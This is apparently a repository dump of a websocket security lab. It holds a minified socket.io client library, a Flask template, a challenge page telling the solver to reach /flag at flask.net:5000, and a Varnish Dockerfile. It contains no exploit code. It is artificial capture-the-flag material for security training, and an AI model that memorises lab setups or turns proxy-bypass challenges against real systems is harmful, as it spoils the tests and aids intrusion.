i[t]({query:e,socket:this,agent:n.agent||this.agent,hostname:n.hostname||this.hostname,port:n.port||this.port,secure:n.secure||this.secure,path:n.path||this.path,forceJSONP:n.forceJSONP||this.forceJSONP,jsonp:n.jsonp||this.jsonp,forceBase64:n.forceBase64||this.forceBase64,enablesXDR:n.enablesXDR||this.enablesXDR,timestampRequests:n.timestampRequests||this.timestampRequests,timestampParam:n.timestampParam||this.timestampParam,policyPort:n.policyPort||this.policyPort,pfx:n.pfx||this.pfx,key:n.key||this.key,passphrase:n.passphrase||this.passphrase,cert:n.cert||this.cert,ca:n.ca||this.ca,ciphers:n.ciphers||this.ciphers,rejectUnauthorized:n.rejectUnauthorized||this.rejectUnauthorized,perMessageDeflate:n.perMessageDeflate||this.perMessageDeflate,extraHeaders:n.extraHeaders||this.extraHeaders,forceNode:n.forceNode||this.forceNode,localAddress:n.localAddress||this.localAddress,requestTimeout:n.requestTimeout||this.requestTimeout,protocols:n.protocols||void 0,isReactNative:this.isReactNative});return r},r.prototype.open=function(){var t;if(this.rememberUpgrade&&r.priorWebsocketSuccess&&this.transports.indexOf("websocket")!==-1)t="websocket";else{if(0===this.transports.length){var e=this;return void setTimeout(function(){e.emit("error","No transports available")},0)}t=this.transports[0]}this.readyState="opening";try{t=this.createTransport(t)}catch(n){return this.transports.shift(),void this.open()}t.open(),this.setTransport(t)},r.prototype.setTransport=function(t){a("setting transport %s",t.name);var e=this;this.transport&&(a("clearing existing transport %s",this.transport.name),this.transport.removeAllListeners()),this.transport=t,t.on("drain",function(){e.onDrain()}).on("packet",function(t){e.onPacket(t)}).on("error",function(t){e.onError(t)}).on("close",function(){e.onClose("transport close")})},r.prototype.probe=function(t){function e(){if(f.onlyBinaryUpgrades){var e=!this.supportsBinary&&f.transport.supportsBinary;h=h||e}h||(a('probe transport "%s" opened',t),u.send([{type:"ping",data:"probe"}]),u.once("packet",function(e){if(!h)if("pong"===e.type&&"probe"===e.data){if(a('probe transport "%s" pong',t),f.upgrading=!0,f.emit("upgrading",u),!u)return;r.priorWebsocketSuccess="websocket"===u.name,a('pausing current transport "%s"',f.transport.name),f.transport.pause(function(){h||"closed"!==f.readyState&&(a("changing transport and sending upgrade packet"),p(),f.setTransport(u),u.send([{type:"upgrade"}]),f.emit("upgrade",u),u=null,f.upgrading=!1,f.flush())})}else{a('probe transport "%s" failed',t);var n=new Error("probe error");n.transport=u.name,f.emit("upgradeError",n)}}))}function n(){h||(h=!0,p(),u.close(),u=null)}function o(e){var r=new Error("probe error: "+e);r.transport=u.name,n(),a('probe transport "%s" failed because of error: %s',t,e),f.emit("upgradeError",r)}function i(){o("transport closed")}function s(){o("socket closed")}function c(t){u&&t.name!==u.name&&(a('"%s" works - aborting "%s"',t.name,u.name),n())}function p(){u.removeListener("open",e),u.removeListener("error",o),u.removeListener("close",i),f.removeListener("close",s),f.removeListener("upgrading",c)}a('probing transport "%s"',t);var u=this.createTransport(t,{probe:1}),h=!1,f=this;r.priorWebsocketSuccess=!1,u.once("open",e),u.once("error",o),u.once("close",i),this.once("close",s),this.once("upgrading",c),u.open()},r.prototype.onOpen=function(){if(a("socket open"),this.readyState="open",r.priorWebsocketSuccess="websocket"===this.transport.name,this.emit("open"),this.flush(),"open"===this.readyState&&this.upgrade&&this.transport.pause){a("starting upgrade probes");for(var t=0,e=this.upgrades.length;t1?{type:b[o],data:t.substring(1)}:{type:b[o]}:w}var i=new Uint8Array(t),o=i[0],s=f(t,1);return k&&"blob"===n&&(s=new k([s])),{type:b[o],data:s}},e.decodeBase64Packet=function(t,e){var n=b[t.charAt(0)];if(!p)return{type:n,data:{base64:!0,data:t.substr(1)}};var r=p.decode(t.substr(1));return"blob"===e&&k&&(r=new k([r])),{type:n,data:r}},e.encodePayload=function(t,n,r){function o(t){return t.length+":"+t}function i(t,r){e.encodePacket(t,!!s&&n,!1,function(t){r(null,o(t))})}"function"==typeof n&&(r=n,n=null);var s=h(t);return n&&s?k&&!g?e.encodePayloadAsBlob(t,r):e.encodePayloadAsArrayBuffer(t,r):t.length?void c(t,i,function(t,e){return r(e.join(""))}):r("0:")},e.decodePayload=function(t,n,r){if("string"!=typeof t)return e.decodePayloadAsBinary(t,n,r);"function"==typeof n&&(r=n,n=null);var o;if(""===t)return r(w,0,1);for(var i,s,a="",c=0,p=t.length;c0;){for(var s=new Uint8Array(o),a=0===s[0],c="",p=1;255!==s[p];p++){if(c.length>310)return r(w,0,1);c+=s[p]}o=f(o,2+c.length),c=parseInt(c);var u=f(o,0,c);if(a)try{u=String.fromCharCode.apply(null,new Uint8Array(u))}catch(h){var l=new Uint8Array(u);u="";for(var p=0;pr&&(n=r),e>=r||e>=n||0===r)return new ArrayBuffer(0);for(var o=new Uint8Array(t),i=new Uint8Array(n-e),s=e,a=0;s=55296&&e<=56319&&o65535&&(e-=65536,o+=d(e>>>10&1023|55296),e=56320|1023&e),o+=d(e);return o}function o(t,e){if(t>=55296&&t<=57343){if(e)throw Error("Lone surrogate U+"+t.toString(16).toUpperCase()+" is not a scalar value");return!1}return!0}function i(t,e){return d(t>>e&63|128)}function s(t,e){if(0==(4294967168&t))return d(t);var n="";return 0==(4294965248&t)?n=d(t>>6&31|192):0==(4294901760&t)?(o(t,e)||(t=65533),n=d(t>>12&15|224),n+=i(t,6)):0==(4292870144&t)&&(n=d(t>>18&7|240),n+=i(t,12),n+=i(t,6)),n+=d(63&t|128)}function a(t,e){e=e||{};for(var r,o=!1!==e.strict,i=n(t),a=i.length,c=-1,p="";++c=f)throw Error("Invalid byte index");var t=255&h[l];if(l++,128==(192&t))return 63&t;throw Error("Invalid continuation byte")}function p(t){var e,n,r,i,s;if(l>f)throw Error("Invalid byte index");if(l==f)return!1;if(e=255&h[l],l++,0==(128&e))return e;if(192==(224&e)){if(n=c(),s=(31&e)<<6|n,s>=128)return s;throw Error("Invalid continuation byte")}if(224==(240&e)){if(n=c(),r=c(),s=(15&e)<<12|n<<6|r,s>=2048)return o(s,t)?s:65533;throw Error("Invalid continuation byte")}if(240==(248&e)&&(n=c(),r=c(),i=c(),s=(7&e)<<18|n<<12|r<<6|i,s>=65536&&s<=1114111))return s;throw Error("Invalid UTF-8 detected")}function u(t,e){e=e||{};var o=!1!==e.strict;h=n(t),f=h.length,l=0;for(var i,s=[];(i=p(o))!==!1;)s.push(i);return r(s)}/*! https://mths.be/utf8js v2.1.2 by @mathias */ 8 | var h,f,l,d=String.fromCharCode;t.exports={version:"2.1.2",encode:a,decode:u}},function(t,e){!function(){"use strict";for(var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",n=new Uint8Array(256),r=0;r>2],i+=t[(3&r[n])<<4|r[n+1]>>4],i+=t[(15&r[n+1])<<2|r[n+2]>>6],i+=t[63&r[n+2]];return o%3===2?i=i.substring(0,i.length-1)+"=":o%3===1&&(i=i.substring(0,i.length-2)+"=="),i},e.decode=function(t){var e,r,o,i,s,a=.75*t.length,c=t.length,p=0;"="===t[t.length-1]&&(a--,"="===t[t.length-2]&&a--);var u=new ArrayBuffer(a),h=new Uint8Array(u);for(e=0;e>4,h[p++]=(15&o)<<4|i>>2,h[p++]=(3&i)<<6|63&s;return u}}()},function(t,e){function n(t){return t.map(function(t){if(t.buffer instanceof ArrayBuffer){var e=t.buffer;if(t.byteLength!==e.byteLength){var n=new Uint8Array(t.byteLength);n.set(new Uint8Array(e,t.byteOffset,t.byteLength)),e=n.buffer}return e}return t})}function r(t,e){e=e||{};var r=new i;return n(t).forEach(function(t){r.append(t)}),e.type?r.getBlob(e.type):r.getBlob()}function o(t,e){return new Blob(n(t),e||{})}var i="undefined"!=typeof i?i:"undefined"!=typeof WebKitBlobBuilder?WebKitBlobBuilder:"undefined"!=typeof MSBlobBuilder?MSBlobBuilder:"undefined"!=typeof MozBlobBuilder&&MozBlobBuilder,s=function(){try{var t=new Blob(["hi"]);return 2===t.size}catch(e){return!1}}(),a=s&&function(){try{var t=new Blob([new Uint8Array([1,2])]);return 2===t.size}catch(e){return!1}}(),c=i&&i.prototype.append&&i.prototype.getBlob;"undefined"!=typeof Blob&&(r.prototype=Blob.prototype,o.prototype=Blob.prototype),t.exports=function(){return s?a?Blob:o:c?r:void 0}()},function(t,e){e.encode=function(t){var e="";for(var n in t)t.hasOwnProperty(n)&&(e.length&&(e+="&"),e+=encodeURIComponent(n)+"="+encodeURIComponent(t[n]));return e},e.decode=function(t){for(var e={},n=t.split("&"),r=0,o=n.length;r0);return e}function r(t){var e=0;for(u=0;u';i=document.createElement(e)}catch(t){i=document.createElement("iframe"),i.name=o.iframeId,i.src="javascript:0"}i.id=o.iframeId,o.form.appendChild(i),o.iframe=i}var o=this;if(!this.form){var i,s=document.createElement("form"),a=document.createElement("textarea"),c=this.iframeId="eio_iframe_"+this.index;s.className="socketio",s.style.position="absolute",s.style.top="-1000px",s.style.left="-1000px",s.target=c,s.method="POST",s.setAttribute("accept-charset","utf-8"),a.name="d",s.appendChild(a),document.body.appendChild(s),this.form=s,this.area=a}this.form.action=this.uri(),r(),t=t.replace(u,"\\\n"),this.area.value=t.replace(p,"\\n");try{this.form.submit()}catch(h){}this.iframe.attachEvent?this.iframe.onreadystatechange=function(){"complete"===o.iframe.readyState&&n()}:this.iframe.onload=n}}).call(e,function(){return this}())},function(t,e,n){function r(t){var e=t&&t.forceBase64;e&&(this.supportsBinary=!1),this.perMessageDeflate=t.perMessageDeflate,this.usingBrowserWebSocket=o&&!t.forceNode,this.protocols=t.protocols,this.usingBrowserWebSocket||(l=i),s.call(this,t)}var o,i,s=n(20),a=n(21),c=n(29),p=n(30),u=n(31),h=n(3)("engine.io-client:websocket");if("undefined"==typeof self)try{i=n(34)}catch(f){}else o=self.WebSocket||self.MozWebSocket;var l=o||i;t.exports=r,p(r,s),r.prototype.name="websocket",r.prototype.supportsBinary=!0,r.prototype.doOpen=function(){if(this.check()){var t=this.uri(),e=this.protocols,n={agent:this.agent,perMessageDeflate:this.perMessageDeflate};n.pfx=this.pfx,n.key=this.key,n.passphrase=this.passphrase,n.cert=this.cert,n.ca=this.ca,n.ciphers=this.ciphers,n.rejectUnauthorized=this.rejectUnauthorized,this.extraHeaders&&(n.headers=this.extraHeaders),this.localAddress&&(n.localAddress=this.localAddress);try{this.ws=this.usingBrowserWebSocket&&!this.isReactNative?e?new l(t,e):new l(t):new l(t,e,n)}catch(r){return this.emit("error",r)}void 0===this.ws.binaryType&&(this.supportsBinary=!1),this.ws.supports&&this.ws.supports.binary?(this.supportsBinary=!0,this.ws.binaryType="nodebuffer"):this.ws.binaryType="arraybuffer",this.addEventListeners()}},r.prototype.addEventListeners=function(){var t=this;this.ws.onopen=function(){t.onOpen()},this.ws.onclose=function(){t.onClose()},this.ws.onmessage=function(e){t.onData(e.data)},this.ws.onerror=function(e){t.onError("websocket error",e)}},r.prototype.write=function(t){function e(){n.emit("flush"),setTimeout(function(){n.writable=!0,n.emit("drain")},0)}var n=this;this.writable=!1;for(var r=t.length,o=0,i=r;o0&&t.jitter<=1?t.jitter:0,this.attempts=0}t.exports=n,n.prototype.duration=function(){var t=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var e=Math.random(),n=Math.floor(e*this.jitter*t);t=0==(1&Math.floor(10*e))?t-n:t+n}return 0|Math.min(t,this.max)},n.prototype.reset=function(){this.attempts=0},n.prototype.setMin=function(t){this.ms=t},n.prototype.setMax=function(t){this.max=t},n.prototype.setJitter=function(t){this.jitter=t}}])}); -------------------------------------------------------------------------------- /websocket/lab1/src/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | This is flask. 11 | 12 | -------------------------------------------------------------------------------- /websocket/lab1/src/websocket.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Document 9 | 10 | 11 | 12 | 14 | 20 |

You need to access /flag at flask.net:5000 to solve

21 |

Good luck!

22 | 23 | 24 | -------------------------------------------------------------------------------- /websocket/lab1/varnish.dockerfile: -------------------------------------------------------------------------------- 1 | FROM varnish 2 | MAINTAINER Zedd="zeddyu.lu@gmail.com" 3 | 4 | COPY conf/default.vcl /etc/varnish/default.vcl 5 | 6 | EXPOSE 80 --------------------------------------------------------------------------------